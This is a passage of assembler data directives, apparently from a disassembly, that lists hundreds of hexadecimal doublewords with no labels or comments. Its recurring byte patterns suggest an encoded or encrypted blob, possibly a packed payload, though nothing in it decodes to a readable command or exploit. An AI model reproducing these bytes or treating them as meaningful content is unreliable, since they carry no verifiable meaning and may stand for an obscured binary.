		dd 843C7721h, 920C120Dh, 0A0CCB330h, 754F1442h,	8B9D0657h
		dd 33759471h, 7741165Bh, 62C4146Dh, 423D1EE5h, 0BFD9AD14h
		dd 8C36342Ch, 6A46D23Bh, 6B7D1850h, 567D4E96h, 9F116179h
		dd 0B6809249h, 0CFA4B696h, 7721AAh, 0D829B99Dh,	93D35E6Dh
		dd 2E7956F1h, 102E084Fh, 0ACE43DD8h, 0CA68B811h, 0FE99D1F1h
		dd 7D4E17ECh, 1A617956h, 0C4521AAh, 920DBE8Ah, 0C80016F4h
		dd 0C67E1B2Dh, 6179569Ch, 567D4E1Ah, 19545A79h,	0FE24FC01h
		dd 8F0B5A9Eh, 55EDD40h,	0B82092BEh, 3B45F1E6h, 0C64F1527h
		dd 1D9B8677h, 0D4AF4D21h, 0D3E580B8h, 0D30BC0FEh, 7956F193h
		dd 0FF37532Eh, 0E2FCD864h, 6FB60FAAh, 79567D4Eh, 18AA1A61h
		dd 4B839F7Ah, 77C99EB0h, 3A3A3C10h, 0D3E6E5E8h,	0F492F193h
		dd 9372FE18h, 76536D7Fh, 7D4E175Eh, 185F7B56h, 795621AAh
		dd 32AF1161h, 1442A04Dh, 3340A009h, 727ACF6h, 0AA986D7Fh
		dd 4239B618h, 101442A0h, 6DC095A7h, 0F193D35Eh,	0CCB33092h
		dd 8A1442A0h, 1AF50F21h, 7D4EB7FEh, 0E65A7956h,	60C493AEh
		dd 4E4A91EAh, 5F7B567Dh, 0B3309218h, 1442A0CCh,	0F812EE8Ah
		dd 0BACC25C0h, 20926BF4h, 784CF613h, 0A2E909BFh, 197131F4h
		dd 0BA94AEC0h, 7D4E559Ch, 0F5F7B56h, 6C7E9271h,	0D6744E97h
		dd 0AA5DDFDh, 9B923F8h,	0A0552AA7h, 98011442h, 0F492B186h
		dd 29C4FC1Ah, 0A0A75CD9h, 0CA331442h, 0A65DDAB8h, 341442A0h
		dd 0A0A057D4h, 0CE2E1442h, 42A0AA51h, 66BF2814h, 0F492C60Dh
		dd 2DC80016h, 92CC551Bh, 8A0718F4h, 1442A0F5h, 679FF861h
		dd 4AA3BD99h, 8EC6E4BEh, 0EDC7E1F3h, 0F49288CFh, 26ECFE18h
		dd 0FF1BF694h, 427A9A73h, 6DC095A7h, 6D3FE355h,	47374BFEh
		dd 8BC3E1BBh, 9209DEF0h, 0EEF817F4h, 5EE5D7A8h,	67023A93h
		dd 0D68CB855h, 0FA9709B9h, 0D602117h, 92BB90A2h, 42A06E15h
		dd 0E8BED14h, 1442A069h, 730885E5h, 0DF1442A0h,	2C0B1D76h
		dd 6199B590h, 92266DC6h, 42A06E15h, 3C83EC14h, 0F4927D4Eh
		dd 28C3FB1Bh, 422FC16h,	1D3D16B4h, 0F492360Bh, 0CDEF0115h
		dd 0AA12B9FCh, 8AA17A18h, 42A0760Dh, 227BE414h,	12B93B10h
		dd 0FB1BF492h, 501628C3h, 18F492C7h, 0F5D2ECFEh, 7D4E96DDh
		dd 1B627856h, 5C621AAh,	1B627856h, 78567D4Eh, 18AA1B62h
		dd 317AA17Ah, 4EFA1EDAh, 0AA5DD36h, 807723F8h, 581442A0h
		dd 93D35E6Dh, 627856F1h, 567D4E1Bh, 0E9D85B78h,	0C5651A97h
		dd 88F11442h, 918B928h,	21AA69B0h, 42A08077h, 5E6D5814h
		dd 92F193D3h, 7F893620h, 42A37D02h, 1070D914h, 33B0C287h
		dd 1442E34Ch, 3648A10Ah, 19F53E1Ch, 0D32CC7FFh,	827D4E8Ch
		dd 90BCB7BFh, 38DF08BDh, 785621AAh, 21AA1B62h, 159212B9h
		dd 1442A062h, 4E4087F0h, 6278567Dh, 0AE7D4E1Bh,	50977614h
		dd 85205876h, 92451A2Ch, 0EEC81BF4h, 0A4FD98D0h, 0A5BFD16Ch
		dd 0EC5EAECAh, 16434972h, 0B58A9CE8h, 0FCC621AAh, 5567835Eh
		dd 16F49280h, 0F9D4EE00h, 7D4E96DDh, 0EB687B56h, 1442A014h
		dd 0A0B146C3h, 0B41D1442h, 5AA1FA63h, 807721AAh, 581442A0h
		dd 0DEB7556Dh, 5DDBF6B7h, 156EE9B4h, 93D32E03h,	5F7B56F1h
		dd 7B95710Fh, 20929469h, 0C523D8EAh, 0E2FCD801h, 0A4B60FAAh
		dd 7B56B182h, 21AA185Fh, 42A08077h, 5E6D5814h, 56F193D3h
		dd 710F5F7Bh, 0A9447C94h, 0EC24441Dh, 4E6A3F51h, 0E1F9D674h
		dd 0A06F1491h, 82EB1442h, 12B99B70h, 7B5621AAh,	21AA185Fh
		dd 9A709B9h, 0D3A8132Dh
		dd 7F1442A0h, 922F0416h, 42A06215h, 4087F014h, 2D02744Eh
		dd 9E712AD6h, 56DEB3C5h, 14EB687Bh, 0C21442A0h,	0F52D4D26h
		dd 61A8015Ah, 77567D4Eh, 67902B63h, 223E19B7h, 0F4923B10h
		dd 26ECFE18h, 561DAE9Dh, 9D0F5F7Bh, 7F5AF653h, 0DEBF0363h
		dd 9DAA51CEh, 0BF281442h, 0AA7F5466h, 0EC8F7721h, 0E4566A0Ch
		dd 4FACF1EBh, 7D9974D8h, 563D1224h, 710F5F7Bh, 93687A96h
		dd 30927D4Eh, 42A0CCB3h, 0F218A14h, 0B7FE1AF5h,	3F8C21AAh
		dd 0FCD6744Eh, 56F7CCDEh, 0AA1A6179h, 0A0847721h, 56541442h
		dd 4E1A6179h, 0E2F8D674h, 4DBC5082h, 0F709AE6Fh, 16F49222h
		dd 80967400h, 5F77546Eh, 7721AA18h, 553EA9EBh, 0D35E6DC3h
		dd 7956F193h, 744E1A61h, 0A0EE9512h, 53311442h,	7183EC3Dh
		dd 0B330929Ch, 1442A0CCh, 0F50F218Ah, 419DF918h, 586F4888h
		dd 21AAB8FFh, 0B8C71577h, 5E6DE575h, 56F193D3h,	3B4F2E79h
		dd 20929BE2h, 20FDB2F0h, 0D535D008h, 2908B591h,	0E942DD15h
		dd 56E4B5D7h, 0AF116179h, 42A04D32h, 6990914h, 0E0F83196h
		dd 1AEF015Ah, 0E3C12092h, 0C889D4FAh, 5667F0B6h, 0F556587Bh
		dd 7A717CFFh, 26C2F91Ah, 51AAA85Eh, 5621AA0Ah, 58265E7Ch
		dd 0C4FF5B7Ch, 0FB4B3AEh, 0CFDC7EB6h, 5AA78032h, 5C0885A7h
		dd 0D3181714h, 7956F193h, 7D4E1A61h, 1A617956h,	309221AAh
		dd 42A0CCB3h, 0F218A14h, 0B8C7F416h, 0E6E58475h, 0FF17F492h
		dd 7D1A2CC7h, 30929BC9h, 42A0CCB3h, 95218A14h, 748EA0B8h
		dd 4E387F97h, 7AA10274h, 554A31AEh, 9F081442h, 224BA43Fh
		dd 79563B10h, 21AA1A61h, 0FB1BF492h, 0A960F0E9h, 0C133553Eh
		dd 3EBB4A30h, 553E78B9h, 2B4CAC15h, 0DCB1C32Bh,	0F492E6E5h
		dd 2CC7FF17h, 9BC97D1Ah, 1A617956h, 79567D4Eh, 0EB9F1161h
		dd 0D2862248h, 0AAE3B8CAh, 5F7B5621h, 12744E18h, 42A0EE95h
		dd 0F1036C14h, 0CE30921Ch, 42A0AA51h, 54BF2814h, 1442A0AFh
		dd 0C0F816F0h, 596BD425h, 0D653623Fh, 1442A021h, 0A4EB44ADh
		dd 7C567D4Eh, 0A015EA67h, 58C11442h, 18AAB8FFh,	0D2D58DA6h
		dd 0A5B74613h, 885677D0h, 0AB1D4ECCh, 6EF2DFA3h, 0EBC652FBh
		dd 56E8BDCFh, 4E175E7Ch, 5E7C567Dh, 9221AA17h, 405A0720h
		dd 96363BBDh, 15E6FBB4h, 787183DCh, 1B27C7C3h, 925E6D99h
		dd 0A0CCB330h, 218A1442h, 9032720Fh, 0E5E7C56h,	65779770h
		dd 927D4E90h, 7FC54620h, 0B9CB1CCDh, 61A8C49Fh,	7C5621AAh
		dd 0DC354F2Bh, 0FC3B1A8Ch, 410D6868h, 42D43FC4h, 0D9329B14h
		dd 3092F2C7h, 42A0CCB3h, 0FEE8A14h, 0CF28C3FBh,	144C6843h
		dd 0FA16779h, 6A7C9471h, 0D3884395h, 6C4AE893h,	926F4456h
		dd 7F51AF4h, 7A6CEA43h,	0BBD5E740h, 99B791E0h, 266DC661h
		dd 0FC1AF492h, 56F7C8EAh, 3BCA577Ch, 0CF4DED71h, 0F4922F76h
		dd 28C3FB1Bh, 0A5CE1CC8h, 5365F91Bh, 0E0B95731h, 56D9AEC0h
		dd 92185F7Bh, 99B99230h, 42A0492Eh, 8A9C0514h, 6B773BC4h
		dd 43741F45h, 93D3E6E5h, 17F492F1h, 7AD3F3CCh, 7B95A742h
		dd 4E3D84A0h, 0DFFBD674h, 0FDAC0CA7h, 1E074E1Fh, 92BC91A3h
		dd 0A0CCB330h, 0E8B1442h, 1442A069h, 8F2B7CE5h,	0C8639BB1h
		dd 68435D6Fh, 825EFC4Ch, 0AA815668h, 839F7A18h,	0C99EB04Bh
		dd 0ADADDB77h, 5E6DB33Eh, 0CCB33092h, 8A1442A0h, 32720F21h
		dd 5F7B5690h, 567D4E18h, 0AA185F7Bh, 18F49221h,	0F3D2ECFEh
		dd 21AA98DFh, 93D35E6Dh, 5F7B56F1h, 0D6744E18h,	0FAAE2F8h
		dd 7B5628FDh, 0DC35512Ch, 451C1A8Ch, 0F1293F1Dh, 0A7B0F656h
		dd 0AAB58A9Ch, 0ADDB7721h, 0E5B33EADh, 0E893D3E6h, 0A0720986h
		dd 77E01442h, 7B569065h, 3092185Fh, 0C7FA52BEh,	9E09A37Bh
		dd 1442ABD9h, 0D8FA0C75h, 51209207h, 0D3D78AF8h, 0E2BFD9EBh
		dd 21AA83CAh, 2168464Dh, 0FCD6744Eh, 6A118EDEh,	0E81442A0h
		dd 92986D7Fh, 0EE0016F4h, 69E6F9D4h, 1442A092h,	7826D040h
		dd 110D93BFh, 374F2CB8h, 309297DEh, 42A0CCB3h, 0F218A14h
		dd 0E4771CEDh, 0B41442A4h, 1A617956h, 39B618AAh, 1442A042h
		dd 0A9E1F7D5h, 4254BD0Eh, 9212B96Dh, 42A06E15h,	107BED14h
		dd 1801FF9Ah, 0A50EEDFFh, 0B330925Eh, 1442A0CCh, 0ED0F218Ah
		dd 0AA12B91Ch, 18F49221h, 192BC6FEh, 0C40B21FFh, 0CCB33092h
		dd 8A1442A0h, 1CED0F21h, 0FB1BF492h, 0A3F6CFE9h, 0A977AFC5h
		dd 0DD78B0D0h, 0AAE42B84h, 5605C621h, 4E165D7Dh, 607A567Dh
		dd 1BF49219h, 1628C3FBh, 3092C750h, 42A0CCB3h, 5C704F14h
		dd 0CF388924h, 0AACAA3BDh, 1BF49263h, 1628C3FBh, 7E77C750h
		dd 452B79E8h, 4D6B45E3h, 680F7A15h, 0E62B79E9h,	0F851714Ah
		dd 40788E6Ch, 92BE93A5h, 9CB69230h, 995EC964h, 261442A0h
		dd 0CDC2C67Dh, 970051E8h, 3152F0Bh, 0A9F010E9h,	30927D4Eh
		dd 42A0CCB3h, 0F218A14h, 79E89B16h, 0F492F12Bh,	28C3FB1Bh
		dd 620FC16h, 2744EBFh, 1A303833h, 7106833Dh, 0DD1442BBh
		dd 34091B74h, 19607A56h, 7D5621AAh, 906F0D5Dh, 0A0730885h
		dd 76DF1442h, 384AE51Dh, 19F49263h, 182AC5FDh, 0BC0C952h
		dd 86E893D3h, 42A07209h, 6844E014h, 227B164Eh, 0E14C64C2h
		dd 4052A990h, 597A566Bh, 7E87C7DCh, 0EC338C8Ah,	7D567D4Eh
		dd 7D4E165Dh, 165D7D56h, 7A5621AAh, 21AA1960h, 265E7C56h
		dd 29617D58h, 2B63815Bh, 98CC9390h, 0D35463D8h,	714AE893h
		dd 6C7E1951h, 5D7D5697h, 15F49216h, 1C2EC901h, 0A68220FAh
		dd 0A7B9548Ch, 607A56D2h, 1BF49219h, 1AF5C3FBh,	0D22BC6FEh
		dd 56CD9EC0h, 0AA165D7Dh, 0A0807721h, 0B14F1442h, 0D7ACBED2h
		dd 93D35E6Dh, 5D7D56F1h, 340DAB0Dh, 0D641DC14h,	1442A021h
		dd 5D3244ADh, 7D567D4Eh, 21AA165Dh, 39627856h, 6E159292h
		dd 0EC1442A0h, 21AA3C83h, 93D30BC0h, 720986E8h,	0E01442A0h
		dd 56906577h, 4E165D7Dh, 0AA12B97Dh, 5D7D5621h,	0A618AA16h
		dd 91924D4h, 54293B43h,	93D30BC0h, 6E1592F1h, 0EC1442A0h
		dd 92B35A83h, 42A06E15h, 744FED14h, 2CF49151h, 0EA43A0EBh
		dd 260517B2h, 7D4E76BDh, 165D7D56h, 468221AAh, 0B9544306h
		dd 7CB4C8A7h, 0BB3888E1h, 144296C4h, 59002992h,	0A06E1592h
		dd 83EC1442h, 0C021AA3Ch, 0F193D30Bh, 165D7D56h, 14AE7D4Eh
		dd 1C3A14B2h, 19DE49E4h, 0A61442A0h, 0D51A59D5h, 1CB809E8h
		dd 55F0283Eh, 4D15EAFCh, 92256C42h, 0A6B84B15h,	59A00913h
		dd 785621AAh, 92923962h, 0EBFD19F4h, 42779C25h,	1A6464FEh
		dd 93D30BC0h, 9212B9F1h, 42A06E15h, 3C83EC14h, 15927D4Eh
		dd 1442A06Eh, 0B35A83ECh, 795621AAh, 32AF1161h,	1442A04Dh
		dd 0B98EA009h, 7D567D4Eh, 0F492165Dh, 25C7FF17h, 0FD1B67D8h
		dd 0C8DA33E5h, 0FCC67902h, 0A0661D9Ah, 58F41442h, 922D6579h
		dd 0B9522739h, 9221AA12h, 2310EA20h, 0B84484FEh, 0ED88C0DEh
		dd 0C8E8C1DBh, 0C67D4E81h, 0A0807705h, 6D581442h, 0F193D35Eh
		dd 7D561DAEh, 21AA165Dh, 42A08077h, 5E6D5814h, 56F193D3h
		dd 12E9667Dh, 0C01442A0h, 0D2F2CB57h, 5FA6FF9Ah, 0F7D6744Eh
		dd 0FE10ABE3h, 5D7D5629h, 9221AA16h, 3E540520h,	0A5F57579h
		dd 422C5328h, 8496FF14h, 422CF48Bh, 78566C14h, 825C2A62h
		dd 0C84B2C64h, 9B60DD9Ch, 371442A0h, 0F10075CEh, 56F193D3h
		dd 4E165D7Dh, 607A567Dh, 0BD648D28h, 7D5621AAh,	0A012E966h
		dd 0ACB11442h, 0EA860763h, 0CBA74394h, 85DE79B1h, 21AAE52Ch
		dd 0F49212B9h, 0DEBFD19h
		dd 42A0E790h, 8E0B6B14h, 1442A0E9h, 5CA3FC65h, 0CCB33092h
		dd 8A1442A0h, 9EBA9521h, 97B9CB66h, 15F492C6h, 0FCD5EF01h
		dd 7D4E95DCh, 6FA214AEh, 2AE2AC73h, 5653283Ah, 0AA19607Ah
		dd 81A17A18h, 0E779A6Fh, 0DE25D7CAh, 19607A56h,	4302744Eh
		dd 2CD350ACh, 0AA144286h, 255EE141h, 56390E20h,	0AA19607Ah
		dd 82A07A18h, 0E25FAF4Ah, 1442A01Dh, 693E50B9h,	16F492h
		dd 16B40AEEh, 4EE92139h, 7D4E673Ch, 19607A56h, 0CCB33092h
		dd 8A1442A0h, 9EBA9521h, 0F3B9CB66h, 14B2EF61h,	162C0489h
		dd 2C9F2F04h, 0FD19F492h, 7B182AC5h, 0F49299CBh, 28C3FB1Bh
		dd 9223F416h, 0C4FC1AF4h, 1EFD1729h, 411CBA0Ah,	4052ED25h
		dd 7A18AA6Bh, 0B34E869Ch, 0EF77CCA1h, 0BF624AC5h, 439D2092h
		dd 0D48828D6h, 0B5C9A8C2h, 0F1860365h, 5D1442DEh, 4E0DE2F4h
		dd 697A567Dh, 42A017ECh, 0E663C314h, 1442A011h,	0A2FB54BDh
		dd 5621AA5Bh, 0AA1C6377h, 61795621h, 63815B29h,	6125EC2Bh
		dd 0D3353431h, 7A56F193h, 95721060h, 98AA457Dh,	567D4EC3h
		dd 4E1C6377h, 607A567Dh, 8C21AA19h, 0F572D436h,	1442A00Eh
		dd 3F863CCh, 0CF1442A0h, 4E7F5466h, 0E3F7D674h,	29FE10ABh
		dd 19607A56h, 34521AAh,	0F006E482h, 360B1DB8h, 30920DBEh
		dd 42A0CCB3h, 8D1A8A14h, 0AF40BAEEh, 8E0B5BB4h,	14425DE9h
		dd 4DEAFC65h, 0F4926B19h, 9572FE18h, 75516B7Dh,	946D0B5Bh
		dd 4E8D6274h, 697A567Dh, 69D4F0CBh, 1442A092h, 377ED740h
		dd 9D7A18AAh, 779E7385h, 66476994h, 0D30BC064h,	2092F193h
		dd 4FE60FADh, 0F10DE8FAh, 906C8698h, 7D4E2F76h,	11617956h
		dd 2B7B9973h, 42A0C9AEh, 0A1C8514h, 5621AA35h, 0AA19607Ah
		dd 920BC021h, 1DC2E420h, 132552EBh, 9294CE76h, 0AA107120h
		dd 0B0C26D6Eh, 8F6EB996h, 34D2227Bh, 68033B5Bh,	7D4E8156h
		dd 0EC697A56h, 1442A017h, 0BA015AC3h, 0F9D6744Eh, 7125C4DAh
		dd 338CE2AAh, 3A4E2DFBh, 0FC0E6702h, 5E7C5627h,	92209217h
		dd 6FDCB55h, 32BB8193h,	91862092h, 2510A7BFh, 41CF913h
		dd 15F492BDh, 7CD5F5CEh, 0D197A944h, 0B2E37748h, 56BB3D50h
		dd 35552E79h, 0C20962FDh, 0FE18F492h, 52F0CAECh, 73485A78h
		dd 1A617956h, 619F492h,	42A0F289h, 9EF76014h, 0A1BD9866h
		dd 6375CE69h, 2092149Dh, 217DCDEh, 622FD98h, 0C8DA33CEh
		dd 0B4DFA79Dh, 0E893D317h, 1A52704Ah, 0CDB22F7Fh, 891442A0h
		dd 56390E20h, 4E1A6179h, 6179567Dh, 7721AA1Ah, 5977842Ch
		dd 0D30BC0FCh, 7956F193h, 0E13A502Eh, 567D4E9Ah, 0AA1A6179h
		dd 2B7C5621h, 96DD364Eh, 9512744Eh, 1442A0EEh, 7D9EFC6Ch
		dd 0DA0DBC8Fh, 929A6F81h, 0C90115F4h, 0AFC3A22Eh, 8EA6839Dh
		dd 0B3309247h, 1442A0CCh, 0ED0F218Ah, 5F7B561Ch, 0C621AA18h
		dd 0A0807705h, 0E5581442h, 0E893D3E6h, 44566C4Ah, 561DAE6Fh
		dd 36EB597Ah, 0F390C796h, 0D0AC4A9Ah, 0CE7477AFh, 389122F5h
		dd 7E536500h, 12B921AAh, 0A06E1592h, 8BED1442h,	42A0690Eh
		dd 6A7CE514h, 34D2228Bh, 6D084056h, 0F492865Bh,	0CAECFE18h
		dd 617956F9h, 5621AA1Ah, 700E5E7Ch, 0A43F7797h,	21AABD92h
		dd 552E7956h, 0EE8CDC35h, 10E5F713h, 79567D4Eh,	21AA1A61h
		dd 522D7A56h, 0A63FE36h, 567D4EC3h, 4E1A6179h, 607A567Dh
		dd 5621AA19h, 4E185F7Bh, 607A567Dh, 927D4E19h, 0A0CCB330h
		dd 218A1442h, 0FE1AF50Fh, 7A18AAB7h, 9C71839Fh,	18AA12B9h
		dd 8F424AA6h, 6CF86EDAh, 9267798Dh, 6A8A6B77h, 7C56437Ch
		dd 7C58265Eh, 0C6492A62h, 0A9C39F9Eh, 807DD671h, 0E893D381h
		dd 0B2E1CD76h, 0BCCE566Ah, 0A709B9E7h, 42A0552Ah, 86980114h
		dd 923092B1h, 0C8639BB7h, 3244623Ch, 42A04239h,	60A71014h
		dd 0FD19F492h, 0F6182AC5h, 401CBA1Ch, 0A0C4BB26h, 29921442h
		dd 78564217h, 744E1B62h, 67D7FCD6h, 75460E35h, 9E7D0962h
		dd 0A5B7528Ah, 627856D0h, 9230921Bh, 0C66199B9h, 42A0A45Bh
		dd 69C93214h, 52B4F8E9h, 0E2A8BAE4h, 19F49259h,	7E9271FDh
		dd 8A67736Ch, 6D3F7C6Ah, 0E893D35Eh, 0A0720986h, 64E11442h
		dd 1442A09Fh, 1881D23Bh, 0F4923106h, 0D4F2CC17h, 1CA8437Bh
		dd 0F9132541h, 4EBE051Bh, 5F7B567Dh, 567D4E18h,	4E175E7Ch
		dd 6A444D7Dh, 5621AA23h, 0AA1B6278h, 92418A21h,	0EECC17F4h
		dd 0AC05A0D8h, 1B49FD9Ah, 57642092h, 0CCD6929Dh, 1B20DFBAh
		dd 1AB5E05Bh, 0DE00000Ah, 165D7D56h, 9D7A18AAh,	0A0B24D85h
		dd 8AFCC6CBh, 400EEA01h, 754A5CDAh, 0D5D7D56h, 4078946Fh
		dd 4EBE93A5h, 0DFFBD674h, 0E3FDD9A7h, 0A5B710ABh, 307756D0h
		dd 9AE13A54h, 807721AAh, 581442A0h, 1C637756h, 7D567D4Eh
		dd 23014E2Ah, 4C28B40Dh, 65FFA32h, 9221AABFh, 0C90115F4h
		dd 92231C2Eh, 0CA23A8E4h, 93D3E6E5h, 720986E8h,	0E01442A0h
		dd 0D5AA2777h, 811442A0h, 56310618h, 32502A7Dh,	14EB68FAh
		dd 0C21442A0h, 60A70059h, 619F492h, 42A0F289h, 9EF76014h
		dd 56996A8Ch, 0AA165D7Dh, 5C775621h, 0BF911AE0h, 4188E108h
		dd 16F492h, 220FAC8h, 76D62FCAh, 69CC27E7h, 29EF0172h
		dd 0F3556DA0h, 42A08176h, 0D2E44D14h, 0F193D3FDh, 165D7D56h
		dd 7D567D4Eh, 21AA165Dh, 0F0BE3092h, 0AF8565A4h, 0CA1FE44Fh
		dd 52BB1442h, 8E7E4740h, 6DEE23A8h, 0DD20925Eh,	0B61616DFh
		dd 0BDDDB642h, 3BD8EA85h, 61DE500Bh, 0F40EEA3Ah, 97C121BCh
		dd 320719A2h, 0D5D7D56h, 6A7C906Fh, 2744E95h, 45F73EFAh
		dd 4C2133A0h, 54307756h, 966DEA3Ah, 441442A0h, 4E3B82DBh
		dd 5D7D567Dh, 92309216h, 0CC679FB3h, 42A09A61h,	721FD14h
		dd 753B4DB6h, 18F492ECh, 0AA24C6FEh, 0EECEEBA4h, 40394BA4h
		dd 144207BBh, 0D3E6E521h, 3092F193h, 42A0CCB3h,	15EE8A14h
		dd 708A9CF5h, 0C5277797h, 0C42F4D27h, 1442A03Fh, 0CAA6329Bh
		dd 0CBDD78B0h, 0BE3092F6h, 1FFB0286h, 0D5AA15FBh, 721442D1h
		dd 33B97FDCh, 0E454A5E1h, 66020941h, 0FF116A50h, 7D560CDDh
		dd 21AA165Dh, 0F49212B9h, 0EECFE18h, 42A0EA91h,	0F1F76914h
		dd 9A74D866h, 0A057D424h, 2E144276h, 6BD4B3C5h,	0C021AA24h
		dd 0F193D30Bh, 4E2A7D56h, 861FC34h, 2744EC1h, 0CDBF6AC2h
		dd 7EFB4B40h, 144226F9h, 5DAEC55h, 0D7637756h, 7B7E0FCh
		dd 3F0C1C95h, 0E4F6D978h, 18F4920Fh, 7AD3F1CBh,	0E8FA10EEh
		dd 7D569922h, 0A012E966h, 24C01442h, 7BD42D49h,	0C021AA34h
		dd 0F193D30Bh, 159212B9h, 1442A06Eh, 0C13383ECh, 0D3EA6E6Fh
		dd 795AA090h, 13EFED93h, 92D3A8BAh, 0C51D320h, 0B4311910h
		dd 14428BCFh, 0B7C9228Bh, 7D56C495h, 21AA165Dh,	159212B9h
		dd 1442A06Eh, 5B7350ECh, 21FC8823h, 0AA65AC05h,	0D30BC021h
		dd 714AE893h, 4F06C24Ah, 0FB546DB6h, 7D5614E9h,	0A012E966h
		dd 57C01442h, 0A0F58A07h, 0F8611442h, 7D4E589Fh, 21AA12B9h
		dd 997614AEh, 9CAE4981h, 617956C7h, 0B618AA1Ah,	42A04239h
		dd 0E2F6D514h, 41162891h, 0A06E1592h, 0D9DD1442h, 781B8C14h
		dd 5079E233h, 0A2802A0h, 502537D2h, 0FF17F492h,	0ED920FEDh
		dd 6A1442A0h, 9FD7EFCCh, 0AA13F204h, 0B97D4E63h, 7A18AA12h
		dd 1FF8849Eh, 0B918EDFFh, 73916B09h, 21AA8C61h,	0CCB33092h
		dd 8A1442A0h, 19F50F21h, 7D4EB8FFh, 845EFCC6h, 23A5A33h
		dd 27FC0E67h, 42A08077h, 5E6D5814h, 0AEF193D3h,	4E35B214h
		dd 0C1442A0h, 56BC91A3h
		dd 0F2CD6B78h, 98039ED6h, 1442A0E3h, 33B5B34h, 4EAE1768h
		dd 90D0EC3Bh, 90D730EAh, 0FCC621AAh, 6E95618Ah,	0D5611E85h
		dd 0F7CCDEFAh, 1B627856h, 0C81BF492h, 3E76CFEFh, 9E6F91A3h
		dd 1B627856h, 807721AAh, 581442A0h, 255D7D56h, 28607C57h
		dd 531F47C4h, 0F492CFDEh, 2EC90115h, 94C77F1Ch,	0E823AB22h
		dd 0AFC17AF1h, 6B7856DAh, 42A009EEh, 35CC514h, 567D4EBCh
		dd 74126278h, 94697B9Bh, 807721AAh, 581442A0h, 2A627856h
		dd 31697D5Ch, 0D299CD50h, 2ED69939h, 0C81DA6Bh,	0F193D3FDh
		dd 1B627856h, 5C67D4Eh,	42A08077h, 0E6E55814h, 0AEF193D3h
		dd 16F4921Dh, 0D636EBF9h, 0E23BC68Fh, 0E3FD0FAAh, 19FEF05h
		dd 23F80A26h, 9C7A18AAh, 0C2B93686h, 901442A0h,	56401527h
		dd 0FDD66278h, 0E10AA5DDh, 6E15923Ah, 0EC1442A0h, 7D4E3C83h
		dd 0E69709B9h, 851C0D8Fh, 924F2436h, 0A0CCB330h, 218A1442h
		dd 0CFB4310Fh, 8C1442A0h, 0A9F211EEh, 5D7A86D2h, 3C1B2D86h
		dd 0BE512DCCh, 1F6FEDF3h, 426BDDA2h, 0B7107914h, 47930567h
		dd 22E766F9h, 12B348B3h, 0AF1F1442h, 44477FF0h,	6779D275h
		dd 0B921AA92h, 7A18AA12h, 5A76519Eh, 1C2EC901h,	62785647h
		dd 0D6744E1Bh, 0F9CEE0FAh, 807705C6h, 581442A0h, 20925E6Dh
		dd 343CF603h, 0FD9AACF3h, 14AE1B49h, 87B24AA2h,	4658524Ah
		dd 9212B971h, 42A06E15h, 3383EC14h, 0FABE7FC1h,	0D4E644F2h
		dd 927D4EFFh, 0EAFC1AF4h, 0AF2C8E28h, 1442A0C8h, 360B1D86h
		dd 0F49205C6h, 0D0F0C91Ah, 6CA4FD98h, 0A0A65DDAh, 0CB341442h
		dd 90676072h, 481442A0h, 4E2C7B56h, 0C650038h, 7A3132D4h
		dd 6C86508Eh, 0B5ED01E0h, 0BAF20AE7h, 0C480FD1Fh, 0D3908F8Ch
		dd 6F4AE893h, 0E4791B53h, 0BE2BCFC7h, 895E70C9h, 78561DAEh
		dd 30921B62h, 42A0CCB3h, 0F218A14h, 12B9C049h, 0A06E1592h
		dd 83EC1442h, 5220923Ch, 82298B19h, 3A0B2D3Fh, 14AEA977h
		dd 7856810Bh, 7D4E1B62h, 19607A56h, 9E7A18AAh, 9FB14C84h
		dd 1AF492CAh, 1729C4FCh, 0B9091FFDh, 0F0283C1Bh, 32599D4Eh
		dd 0EF4860E4h, 18AA08DDh, 704FA07Ah, 3089245Ch,	0F5D15DF8h
		dd 0F608A3DBh, 61795621h, 657F5B29h, 9DC94C2Dh,	0D3D9D8D5h
		dd 7A56F193h, 7D4E1960h, 115F492h, 0C5BA37C9h, 911442A0h
		dd 0A3BDCF28h, 4E68AFC5h, 0DFFBD674h, 25FA0CA7h, 19607A56h
		dd 707721AAh, 48533FCAh, 633FDDE5h, 0E61E3C16h,	0BE0F24Bh
		dd 0CCB33092h, 8A1442A0h, 32720F21h, 607A5690h,	0D6744E19h
		dd 0B6CCAAFDh, 528AE37Eh, 56D0A5B7h, 0AE10607Ah, 0A028CF4Ch
		dd 3DA61442h, 42A02DD2h, 0DD39A914h, 0A3748ACh,	875C6EC7h
		dd 39B618AAh, 1442A042h, 0A9E1F7D5h, 4254BD0Eh,	6179566Dh
		dd 5621AA1Ah, 5A28607Ah, 0C72B637Fh, 0E1561A4Ah, 271957C9h
		dd 0F26CA5C0h, 92A4FD15h, 0E893D3BDh, 931AAE76h, 7D8FF569h
		dd 1AF492A8h, 7A9470FCh, 51724E68h, 1CB61F1Bh, 0E82F881Fh
		dd 51CE3092h, 1442A0AAh, 0AF54BF28h, 2B1442A0h,	0BD8EB0C2h
		dd 19607A56h, 93A618AAh, 90BAD82Bh, 0E8415B37h,	707701D6h
		dd 48533FCAh, 93D35E6Dh, 2D7A56F1h, 98DF3850h, 0CCB33092h
		dd 8A1442A0h, 0A2FB0FEEh, 22946E90h, 4E1372D6h,	8D6274BDh
		dd 165D7D56h, 0D87721AAh, 0B02547B1h, 165D7D56h, 0F9D6744Eh
		dd 92FACFE1h, 0E642BE30h, 6F9001B7h, 426F7F04h,	0A8C6A014h
		dd 1B84D570h, 0F616EF09h, 7721AAAFh, 1094A2D1h,	92E6E5A9h
		dd 0A0CCB330h, 218A1442h, 9032720Fh, 165D7D56h,	7D567D4Eh
		dd 0BE9B0D5Dh, 0A653EDDBh, 0AA461B2Dh, 0A05E7721h, 0E52E189Bh
		dd 0F193D3E6h, 165D7D56h, 7A567D4Eh, 30921960h,	638BBEh
		dd 7EE982E9h, 14421BF9h, 14DAEC55h, 5D7D568Bh, 6D21AA16h
		dd 0F193D35Eh, 10607A56h, 724C9372h, 28811C54h,	2C4622F0h
		dd 0EE0059F4h, 1AF49219h, 1729C4FCh, 7D5624F5h,	2092165Dh
		dd 0DE71CAEh, 0A7C9DBB6h, 607A56D6h, 9221AA19h,	0C4FC1AF4h
		dd 1FFD1729h, 21AAC209h, 93D30BC0h, 19F492F1h, 9B924F6h
		dd 69C26BB0h, 47613D57h, 0C67D4E00h, 17F49205h,	1A2CC7FFh
		dd 42A05A21h, 0E6E50214h, 4AE893D3h, 8A07576Bh,	1442A0F5h
		dd 11E6F861h, 79561DAEh, 0A7CEFA5Ah, 5DB63368h,	9221AA16h
		dd 42A06E15h, 5A83EC14h, 18F492B3h, 910EECFEh, 1442A0EAh
